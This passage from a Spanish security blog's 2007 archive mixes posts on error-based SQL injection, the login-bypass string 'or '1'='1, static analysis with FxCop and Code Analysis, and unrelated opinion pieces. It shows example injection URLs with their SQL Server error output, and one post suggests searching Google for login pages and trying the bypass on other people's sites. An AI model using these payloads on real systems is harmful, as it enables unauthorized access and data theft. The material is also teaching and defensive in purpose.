En estos primeros documentos la extracción de información se hacía utilizando la visualización de los mensajes de error de los conectores ODBC, aún quedaba un año para que salieran a la luz pública las técnicas Blind.

Para ello, el objetivo es generar una inyección que provoque un error y leer en el mensaje de error datos con información sensible. Ejemplo:

Programa.asp?id=218 and 1=(select top 1 name from sysusers order by 1 desc)

El atributo name de la table sysusers en SQL Server es alfanumerico y al realizar la comparación con un valor numérico se generará un error. Si el programador no tiene controlados esos errores nos llegará a la pantalla un mensaje como el siguiente:

Microsoft OLE DB Provider for SQL Server error '80040e07'
Conversion failed when converting the nvarchar value 'sys' to data type int.
/Programa.asp, line 8


Y se obtiene el primer valor buscado. Después se vuelve a inyectar pero ahora se cambia la consulta de la siguiente forma, o similar:

Programa.asp?id=218 and 1=(select top 1 name from sysusers where name<’sys’ order by 1 desc)

Y se obtiene:

Microsoft OLE DB Provider for SQL Server error '80040e07'
Conversion failed when converting the nvarchar value 'public' to data type int.
/Programa.asp, line 8


Siguiente iteración:

Programa.asp?id=218 and 1=(select top 1 name from sysusers where name<’public’ order by 1 desc)

… y se automatiza la extracción de toda la información de la base de datos. Para ello hay herramientas que analizan estos mensajes de error y lo automatizan de forma eficiente. Priamos es una de estas herramientas.


Los Errores e IE7

Los errores de las aplicaciones web en Internet Explorer, desde la versión 5, se sustituyeron por errores más amigables. Se supone que un usuario no avanzado si se encuentra un error en un aplicación web no va a entender que ha pasado, así que se muestra una página con una pequeña explicación. En IE7 la página en cuestión tiene esta forma:


Arriba a la derecha se puede ver el código http que ha recibido el cliente. ¿Cuándo se muestra esta página y como quitarla? En la ruta del registro de tu máquina: HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Internet Explorer / MAIN / ErrorThresholds se configura, para cada código de respuesta de Error el número de bytes recibidos en una respuesta a partir del cual se debe mostrar el resultado recibido o por el contrario un error amigable.


Es decir, en la imagen de la captura, para el código 500 está puesto 200 en Hex, es decir 512 bytes. Si se reciben menos de 512 bytes se muestra el error amigable, de lo contrario, se muestran los datos recibidos. Si desesas deshabilitar los errores amigables, basta con configurar esos valores a 0.

Bies malignos!

PD: Os he contado esto porque ayer mismo SirW2p, Pedro Laguna, Silverhack, Kanovas y yo estuvimos pegandonos con esto.

Saludos Malignos!

jueves, julio 19, 2007

SQL Injection Level 1

Hace mucho tiempo, cuando empezamos con esto de los ordenadores a trabajar en el mundo de la informática la primera impresión fue un poco desilusionante y creamos una serie de leyes que nos han guiado para no acabar cayendo en manos de los vendedores de humo:

1.- Todo es mentira.
2.- Las cosas funcionan de casualidad.
3.- El mundo es un gran trapi.


Así que, tras estar reunidos con alguien que nos contaba lo que podríamos hacer en el futuro, lo que iba a ser, la oportunidad de, etc... Siempre decíamos esto es humo. Nada de futuribles, presente y actual. Nos funcionó bien. Hoy toca hablar de "Las cosas funcionan de casualidad".

En el mundo del desarrollo de las aplicaciones web hay algo que no deja de sorprenderme y es el impacto que aún tiene la sentencia mágica. ¿cual es esa sentencia mágica?.

Pues algo tan sencillo como esto:

'or '1'='1

Es tan graciosa y popular, que para unas conferencias sobre seguridad en aplicaciones web me regalaron una camiseta.

Camisetas

Supongo que la mayoría ya sabéis que es esto, pero para los que no os hago una versión reducida de la explicación. La idea es que el programador pide en un formulario en la página de login algo como esto:


Y luego crea una consulta SQL a la base de datos similar a esta:

Select id
from tabla_usuarios
where usuario='$usuario' and pass='$pass';


Si la consulta está mal construida, es decir, concatenadita, entonces la consulta mágica metida en el usuario o la pass o en ambos sitios hace que te cueles con el primer usuario.

Select id
from tabla_usuarios
where usuario='admin' and pass=''or '1'='1';


Vale, si alguien se come esto, es lo que nosotros llamamos:

"Acabo de hacer mi curso de informático IBM por fascículos semanales y ya soy programador de aplicaciones de comercio electrónico"

¿Cual es la broma macabra de esto? Pues que sigue funcionando. Basta coger una página web y buscar la zona de administración, que siguen estando en los mismos sitios (/admin/, /privado, /gestion, ...) y probar. Coger el google y buscar programas que se llamen login.asp, login.php, privado.asp, privado.jsp, admin.php, .... y llevar en el cortapapeles la cadena mágica, sale la web, le cascas la cadena mágina y en unos 15 minutos tienes 5 o 6 sitios vulnerables.

Por favor, si tienes una zona privada, prueba la cadena mágica. Sólo como pequeño test de intrusión, y si te funciona, tira del cable de tu servidor, que tu sitio está para rehacerlo.

miércoles, julio 18, 2007

¿Arte o Ingeniería?

Desarrollar un software parece eminentemente un proceso de ingeniería del que se han creado metodologías que van desde cómo realizar la tomar de requisitos hasta cómo gestionar la fase de pruebas. Esto es algo que todos asumimos aunque luego, dentro de los procesos de ingeniería, tenemos el arte; aquellas ideas felices que marcan la diferencia en los rendimientos de los algoritmos o por lo sencillo de la solución, entre lo que es bueno y lo que es superior. Me gustan especialmente los juegos que plantea el chico maravillas en el blog de Programancia101 [Me tuvo una noche ordenando un millón de números de teléfono de 7 cifras en 2 Megas de memoria sin acceso a disco.]

Pero, cuando se hace una auditoría de caja negra, para buscar los fallos de una determinada aplicación web, ¿podemos hablar de ingeniería o necesitamos un artistita? Parece evidente que tenemos que aplicar técnicas de Ingeniería Inversa y ya solo por el nombre nos lleva a inducir que es una disciplina automatizable, reproducible, auditable, etc… Pero sin embargo no deja de tener sus vertientes más oscuras. En el caso de una auditoría de caja negra, es decir, de buscarle los fallos al sistema sin conocer ninguna información más que la pública, tienes que estar siguiendo los pasos de un desarrollador que ha escrito un código. ¿Y cómo lo habrá escrito? ¿Qué mecanismo mental ha llevado al programador a tomar una decisión u otra a la hora de procesar unos parámetros? ¿Habrá seguido algún proceso de ingeniería conocido para desarrollar el código?

En los equipos de desarrollo colaborativo, dónde cada desarrollador envía versiones de su parte de trabajo, los jefes de proyecto pueden establecer la política de validación de la versión que se sube, de tal manera que se implanta una metodología de desarrollo… O al menos unas normas que cumplir cuando se sube un código.

Sin embargo, en las aplicaciones web, esto parece un poco más anárquico y pocos son las empresas que tratan con procedimientos y metodologías de desarrollo la creación de los portales corporativos. No me refiero a los CMS profesionales sino a las aplicacones desarrollados por la propia compañía usando los entornos Web.

En el primer entorno las técnicas de ingeniería inversa a la hora de realizar una auditoría de caja negra parecen más fáciles de implantar ya que es posible seguir una metodología para descubrir la metodología (valga la redundancia) de desarrollo.

En el segundo entorno, en el que el desarrollo parece más anárquico, la generación de una metodología automatizada de búsqueda de vulnerabilidades parece un proceso más costoso y tal vez sea necesaria la labor de un auditor más “artista” y menos “ingeniero”.

Mi opinión al respecto es que para hacer una auditoría de caja negra a una aplicación web, hoy en día, tiene más peso la parte de proceso que la parte de arte y que se debe tender a automatizar la búsqueda de todos los fallos. Para eso están los escáneres de vulnerabilidades creados. Aplicaciones como Acunetix Web Vulnerability Scanner o WebInspect están pensadas para auditar Webs. Es cierto, que ajustarlos es un proceso, a veces, tan costoso como hacerlo a mano, pero aunque lo hagas a mano, tienes un método creado para buscar “los fallos” e implementar una metodología siguiendo los procesos de OWASP (Open Web Application Security Project), por ejemplo. Eso sí, siempre nos quedará esa parte de arte, que al igual que en la ingeniería del software pone esa gente a la que le preguntas "¿Cómo se te ha ocurrido eso?" Y simplemente dice: “no sé, pensé que tal vez funcionaría”.

¿Tú qué opinas? ¿Arte o Ingeniería?

martes, julio 17, 2007

Precisamente Vosotros

Cuando leo los argumentos en contra de la estandarización de OOXML no dejo de sorprenderme. Ayer un “intelectual” anónimo me decía lo siguiente en un comentario:

“No hay dos estándares de IPv4, todos usan el mismo. ¿Por qué habría de aprobarse OOXML estando aprobado ya ODF?”

Pero… tú eres un esquimal ¿no? No, no tengo nada en contra de los esquimales, pero creo que tú has tocado menos ordenadores que ellos, ¿cierto?

Hay un conjunto de gente que se autoproclama Defensor del Software Libre, que por el bien del mundo, miente, difama, inventa y da mala imagen a los autenticos Defensores del Software Libre. Es para Vosotros esta Post.

Precisamente vosotros, que os proclamais Defensores del Software Libre, de apropiaros una palabra tan bonita como Libertad, que dividió a los informáticos en buenos y malos no por lo significaba vuestra corriente sino por las connotaciones de esa palabra en el lenguaje.

Precisamente vosotros, que defendéis a capa y espada la teoría del Bazar, los entornos heterogéneos, la interoperatibilidad de sistemas, que existan Gnome, Beryl, Kde, y 20 entornos gráficos y haya que programar para diferentes versiones, que existan JPEG, TIFF, PNG y BMP cuantos más formatos mejor, de que hay n distros, de cada comunidad autónoma, ciudad, pueblinex (la de mi pueblo), cuartinex (la de mi cuarto) y cataplinex (sólo para tocar los huevos).

Precisamente vosotros, que habláis de libertad, os negáis a que Spectra deje de controlar un formato, porqué sabéis que sí, cuando algo se convierte en un estándar, como lo es ahora OOXML con ECMA, su evolución está controlada por el comité y no por Spectra.

Precisamente vosotros ahora, os negáis a que se estandarice OOXML.

Precisamente vosotros que tanto os fastidió la campaña "get the facts" por considerarla injusta, difamatoria y de malas artes, caéis tan bajo con la campaña BadVista, que hasta el nombre es de vergüenza.

Precisamente vosotros que inventasteis la palabra FUD, no hacéis más que inventar bulos como que Spectra saca datos personales de los ordenadores y los envía a Redmon o el famoso bulo del DRM de Windows Vista que “no permitía ver películas piratas”.

Pedisteis que Spectra liberara el XML de Office y lo hizo, pedisteis que se usaran estándares y se hace, pedisteis la interoperatibilidad de Sistemas y Spectra saca R2 interoperatible con *NIX, con Interix de base cumpliendo POSIX, con servicios NIS y NFS. Pedisteis que se pudiera ser compatible con OpenOffice y Spectra saca las herramientas gratuitas para pasar de ODF a OOXML y viceversa.

Pedisteis que Spectra garantizara que de los estándares que había creado no cobrara royalties e hizo la Open Promise públicamente.

Pedisteis, por confiabilidad, que se tuviera acceso al código fuente y los gobiernos tienen acceso al 100 % del código.

Pedisteis neutralidad tecnológica y cuando la tuvisteis exigisteis discriminación positiva.

Siempre he oído, desde vosotros, que vuestro modelo es mejor. Adelante, sacarle provecho, hacer mejor software, de mejor calidad, con mejor servicio a los usuarios, arrasad a la competencia con calidad, como hicieron y hacen las empresas de tecnología, con buen hacer, con grandes herramientas y grandes progresos. Sacad una base de datos mejor que Oracle, unos servicios de análisis de negocio mejor que los de Business Object, un mejor gestor documental que Documentum o un mejor desktop que Vista.

Sé como tu compañero, programa, desarrolla, crea, colabora en Apache, en OSSIM, en el kernel de Linux o en Gnome. Escribe un manual sobre IPSec, que el que hay es muy pobre. Documenta, enseña, comparte, escribe.... Haz que avance la sociedad, haz que avance la tecnología, haz ALGO, pero no digas mentiras ni cosas que no sabes. Porque lo peor de todo, es que precisamente esos que hablan son los que menos hacen y manchan el buen trabajo de los que SÍ que hacen cosas.

Saludos Malignos!

lunes, julio 16, 2007

La era de Apocalipsis

Todos los aficionados al mundo del comic habrán tenido en sus manos algunas de las historias de la era de Apocalipsis. Esta macro-saga mutante se construía a partir de un viaje al pasado por parte de Legión, el hijo de Charles F. Xavier, mentor y creador de los X-Men, en el que intentaba matar a Magneto. Por desgracia la víctima fue Xavier. Este hecho en el pasado cambiaba la línea temporal y llevaba a la humanidad a un futuro Apocalíptico, nunca mejor dicho, dónde el sueño de Xavier de que humanos y mutantes vivieran en paz no se cumple. En ese futuro gobierna “la supervivencia del más apto” y se desencadena una guerra entre mutantes y humanos. En esa guerra el mutante supremo, llamado Apocalipsis, tiene cuatro jinetes que se encargan de las “Cosechas de humanos”. ¿Qué son estas cosechas? Pues consiste en detectar humanos y descomponerlos en proteínas y genes para que el científico loco de esta Era, Hank “la Bestia” Mckoy, cree a partir de ellos a los guerreros de apocalipsis.


¿Y a que viene toda esta parrafada en el lado del mal? Pues, en primer lugar a que es verano y hay más tiempo para leer, con lo cual os hago las anti-recomendaciones literarias, y en segundo lugar a que parece imposible poner cualquier sistema en Internet sin usar un Human Detector. Tuvimos un debate sobre esto cuando hablábamos de el sistema de votación de menéamela, pero quizás dónde más está afectando todo esto es en los blogs. Blogger parece tener un buen sistema de detección de “comentarios spam” pero aun así se cuelan algunos. No obstante los blogs son sistemas gestionados que al final son limpiados por los propios administradores.

Al final un enlace a una web es un enlace, y cuenta en los buscadores, en los ratios de las webs, etc… Es decir, los enlaces acaban siendo visitas y las visitas acaban siendo dinero para los servicios. El malware y el porno parecen los sistemas que más buscan usar estas técnicas para redirigir tráfico hacia los servidores apropiados.
Lo que me llama la atención es ver como buscan nuevos lugares donde situar esos enlaces. Páginas de anuncios, sistemas de contactos, etc…

El último sitio que me he topado y que creo que estaban probando para empezar a atacarlo masivamente ha sido en bugzilla. Allí, revisando el código de un bug sobre un tema muy interesante que tiene por nombre “null pointer dereference” aparecen, a partir del 5 comentario como unas 20 entradas que recomiendan porno y que en los attachments introducen links.

http://bugzilla.kernel.org/show_bug.cgi?id=8134

Al principio pensé, “vaya, los informáticos somos unos perdidos”, luego me di cuenta de que el comentario número 5 es el típico que se hace en pruebas con un teclado qwerty, el famoso “asdf” y a partir de él, la prueba de automatización. Esto no invalida la frase primera de que los informáticos somos unos perdidos.

He buscado en otros expedientes de bugs y no los he encontrado pero parece que va a ser el comienzo de otra nueva avalancha. Al final, va a ser imposible poner ningún sistema en Internet que genere enlaces persistentes sin usar human detectors.

La próxima generación de spam en la web estará formada por un crawler, que detectará sistemas de registro, que se creará su cuenta, que generará su blog, que automáticamente posterá, o que se creará su cuenta para anuncios y que generará automáticamente sus mensajes. Es decir, los sistemas de registro dejarán de ser un problema para los generadores de spam-links si no tienen human detectors robustos y cada vez será más dificil encontrar las cosas. ¿Será esa la web 3.11 para trabajo en grupo?

¡La era Spamlinks está aquí. Elige bando, humano o mutante!

**********************************************************************

PD: Si te ha picado el gusanillo de leer la "Era de Apocalipsis" puedes ver el time-line completo en la Wikipedia [http://en.wikipedia.org/wiki/Age_of_Apocalypse] y en español se recopiló todo en 12 tomos. 10 años después salió un tomo homenaje llamado "Retorno a la Era de Apocalipsis".

**********************************************************************

domingo, julio 15, 2007

Yo ya estoy listo!

- Niño, deja de jugar que así nunca serás nada en la vida!

¡Cuantas madres se han equivocado con esta frase! El mercado del videojuego es un mundo en expansión con un montón de profesionales de los trucos, los pokes, la superación de niveles, o simplemente de dar su opinión sobre los juegos. En Spectra hay un MVP de XBOX que se lo pasa poco mal el pájaro. ¡Eso es ser un MVP coño! En Hispasec, conozco a otro pájaro que se dedica a probar games.

Hace poco la industria de los juegos nos ha "robado" una amiga/colega/compañera/diabla para reclamar sus servicios. La verdad es que era de prever que alguien tan currante acabara marchándose. El caso es que esta señorita, como una de sus primeras misiones de trabajo en la industria, ha tenido que ir al "decandente" Los Angeles y estar con toda la panda de "desechos" en el E3. Allí estaba todo lo peor de lo pero y entre lo que había me ha traido esta fotito de la presentación del "Guitar Hero III". Joder que envidia de curro.

Slash

Creo que en la nueva versión me lo voy a flipar más que nunca. Aquí estoy yo, listo para jugar al Guitar Hero.


Así, que ya sabes, mientras puedes ir practicando con otros games para ser una ¡Estrella del Rock!

Rock!

sábado, julio 14, 2007

"Hablar de Libertad y no dar libertad de elección es Hipocresía"

Desde que salió la GPLv3 Linus Torvarlds nunca ha escondido su disgusto con ella. En un reciente mail enviado a la lista de distribución del kernel, y ya un poco enfadado por las "recriminaciones morales" se defiende en uno de sus mails míticos.

En él se defiende frente a las acusaciones que le han estado realizando desde los seguidores de FSF, en muchos casos, utilizando el argumento de la moralidad.

Linus contesta en esta carta. La carta es más larga, yo he cortado [ya sabes, con malignidad y el único objetivo de engañar a todo el mundo] los parrafos que más me han llamado la atención y los he traducido a vuelapluma y con mi pobre inglés, así que como dicen los ingleses "Right to the source not to the horse". La carta está aquí: http://lkml.org/lkml/2007/6/20/223 y te recomiendo que la leas antes. Despues puedes leer noticias sobre ella:

Linux Creator Calls GPLv3 Authors 'Hypocrites' As Open Source Debate Turns Nasty

El mail de Torvalds (seccionado y mal traducido)

I don't disagree that "morals" are something very personal, and you can thus never really argue on morals *except*for*your*own*behaviour*.

Así, a vuelapluma, dice que no le disgusta que la moral sea algo muy personal y que por tanto nadie puede argumentar sobre morales excepto para tus propios actos.

I claim that for *me* the right choice is GPLv2 (or something similar).

Reclamo que para mi el derecho de elección es la GPLv2 (o algo similar).

I think the GPLv3 is overreaching.

Creo que la GPLv3 se pasa (abarca más de lo que debe)

Laws (like copyright law) and legal issues[...] are fundamentally *not* about "personal" things, they are about interactions that are *not* personal. So laws need to be fundamnetally different from morals. A law has to take into account that different people have different moral background, and a law has to be _pragmatic_.

La leyes (como la ley de copyright) y los temas legales no tratan sobre coas personales, tratan sobre interacciones que no son personales. Así que las leyes deben estar separadas de la moral. Una ley tiene que tener en cuenta gente de diferente moralidad, y tiene que ser pragmatica.

The GPLv2 is a *legal* license. It's not a "moral license" or a "spiritual guide".

La GPLv2 es una licencia legal. No es una "licencia moral" o una "guía espiritual".

[...] a person *choice* to use the GPLv2 is his private choice.

La elección de una persona de usar la GPLv2 es una elección privada.

You don't have to agree with it - but exactly because it's his private choice, it's a place where the persons moral rules matter[...]

Tu no tienes que estar de acuerdo con esto, justamente porque es una elección privada, es un lugar donde importa la moral de cada persona.

Only religious fanatics and totalitarian states equate "morality" with "legality".

Sólo fanáticos religiosos y estados totalitarios iguala moral con legalidad.

A German soldier who refused to follow orders was clearly the more "moral" one, wouldn't you say? Never mind law. Gandhi is famous for his peaceful civil disobedience - was that "immoral" or "illegal"? Or Robin Hood. A romantic tale, but one where the big fundamnetal part of the picture is the _difference_ between morality and legality.

El soldado alemán que se negó a seguir las ordenes fue el más "moral", ¿no dirías tú eso? Nunca le importó la ley. Gandhi es famososo por su desobediencia civil pacifica - ¿eso fue "inmoral" o "ilegal"? O Robin Hood. Una historia romantica, pero una donde la parte fundamental de la foto es la diferencia entre moralidad y legalidad.

Yes, there is obviously overlap, in that a lot of laws are there to protect things that people also consider "moral". But the fact that there is correlation should *not* cause anybody to think that they are at all about the same thing.

Sí, obviamente hay una superposición, en las que montones de leyes están allí para proteger cosas que la gente también considera "moral". Pero el hecho de que exista esa correlación no debe hacer pensar a nadie que todas son así.

I don't think it's hypocritical to prefer the GPLv3. That's a fine choice, it's just not *mine*.

No creo que sea hipocresía preferir la GPLv3. Esa es un buena elección, solo que no es la mia.

What I called hypocritical was to do so in the name of "freedom", while you're at the same time trying to argue that I don't have the "freedom" to make my own choice.

A lo que yo llamé hipocresía fue a hacer algo en el nombre de la "libertad", mientras, al mismo tiempo, argumentas que yo no tengo la "libertad" de hacer mi propia elección.

See? THAT is hypocritical.

¿Ves? Eso es hipocresía.

A partir de aquí, saca tus propias conclusiones...

viernes, julio 13, 2007

Como evitar SQL Injection (& Blind SQL Injection) en .NET. Code Analysis y FXCop

Blind SQL Injection es una forma de explotación de las vulnerabilidades SQL Injection, luego evitando problemas de SQL Injection se acabó el problema. Evidente ¿no?. Para evitar vulnerabilidades de SQL Injection se deben usar consultas pre-compiladas, realizar filtrado de parámetros robusto, etc... Todos los manuales de seguridad para todos los lenguajes tienen un capítulo para ayudar a los desarrolladores a evitar SQL Injection en ese lenguaje. En .NET la recomendación es utilizar consultas parametrizadas que evitan completamente la inyección de comandos.

Hoy no es sobre recomendaciones de desarrollo de lo que quería hablar, sino de un par de herramientas de Análisis Estático de Código para evitar las inyecciones SQL. Estas herramientas permiten buscar errores de desarrollo en el código fuente de las aplicaciones .NET. Lógicamente buscan los fallos en la creación de consultas que generan bugs de SQL Injection, pero también miran fallos de compatibilidad de código para versiones antiguas, o si se ha hardcodeado código, o si se ha utilizado o no la ofuscación de punteros, etc… Estas herramientas no te hacen mejor programador, pero te ayudan a detectar los fallos.

FXCop & Code Analysis

FXCop es una herramienta gratuita que se puede descargar desde la siguiente URL: http://www.gotdotnet.com/Team/FxCop/, mientras que Code Analysis es una herramienta que sirve para el mismo fin, pero viene integrada dentro de Visual Studio Team System. Cuando realizan un análisis evalúan más de 150 tipos distintos de posibles fallos que están catalogados en las siguientes categorías: Reglas de Diseño, Globalización, Interoperatibilidad, Movilidad, Mantenibilidad, Nombrado, Rendimiento, Portabilidad, Confiabilidad, Seguridad y Usabilidad.

Categorías de Reglas en FxCop

En cada una de estas secciones podremos marcar las reglas que queramos comprobar para que se efectúe el análisis según estas reglas. Por defecto están todas marcadas, pero puede ser necesario desactivar algunas comprobaciones que no son necesarios en nuestro proyecto o que, aunque no sean una recomendación correcta, debemos realizar en contra de las recomendaciones del aplicativo.

Ejemplo de Análisis con FxCop

En este ejemplo he cogido una dll de las que se encuentran en mi sistema instalada por uno de esos programas que te descargas por Internet y la he importado. El siguiente paso es dar al botón de Analizar y leer resultados. Tras analizarla, FxCop detecta posibles fallos en la aplicación. Cada uno de los fallos es marcado con un ratio de certeza que indica la posibilidad o no de que sea un Falso Positivo y con un nivel de criticidad. Además el programa nos da la información necesaria sobre dicho posible defecto. A partir de ahí es labor del programador comprobar si realmente es o no un fallo.

Análisis con FxCop

Con estas ayudas el programador debe ser capaz de investigar y encontrar el posible agujero de seguridad. No son perfectas, no van a encontar todos los bugs, pero seguro que aumentan la seguridad del código y la destreza del programador.

Ejemplo con SQL Injection & Code Analysis

Vamos a ver cómo funciona la regla de seguridad que busca fallos que permitan ataques del tipo SQL Injection, en este caso, usando Code Analysis de Team System:

Código .NET vulnerable

En rojo una sentencia vulnerable XXL. Es decir, si has hecho alguna sentencia así, concatenando tan alegremente, tu código tiene un buen agujero de seguridad.. En verde una sentencia SQL Parametrizada que no es vulnerable ya que está pre-compilada y validada por el sistema.

El siguiente paso es activar el análisis de código estático en VS Team System. En las propiedades del proyecto habilitamos en la sección Code Analysis la casilla “Enable Code Analysis”. Además marcamos la regla “CA2100:Review sql queries for security vulnerabilities” para que cuando se encuentre una sentencia vulnerable nos de un ERROR en lugar de un WARNING.

Selección de reglas en Code Analysis

Acto seguido compilamos el proyecto. Justo antes de realizar la compilación ejecutará el análisis de código, de forma que si encuentra alguna sentencia vulnerable nos dará un ERROR. Como se ve en la siguiente imagen sólo aparece el error en la primera consulta SQL, ya que es la única que es vulnerable. La segunda consulta, que ha sido parametrizada, no produce error, ya que al insertar el dato que proviene del usuario dentro de un parámetro, no va a poder ejecutar el código “malicioso” que pudiera contener.

Mensaje de Error de Code Analysis

La pregunta es, ¿por qué sigue habiendo tantos fallos de Inyecciones SQL? Las herramientas no son perfectas pero sí que ayudan.

Aquí tenéis una lista de productos que realizan Análisis de Código Estático en otros lenguajes: List of tools for static code analysis

Saludos!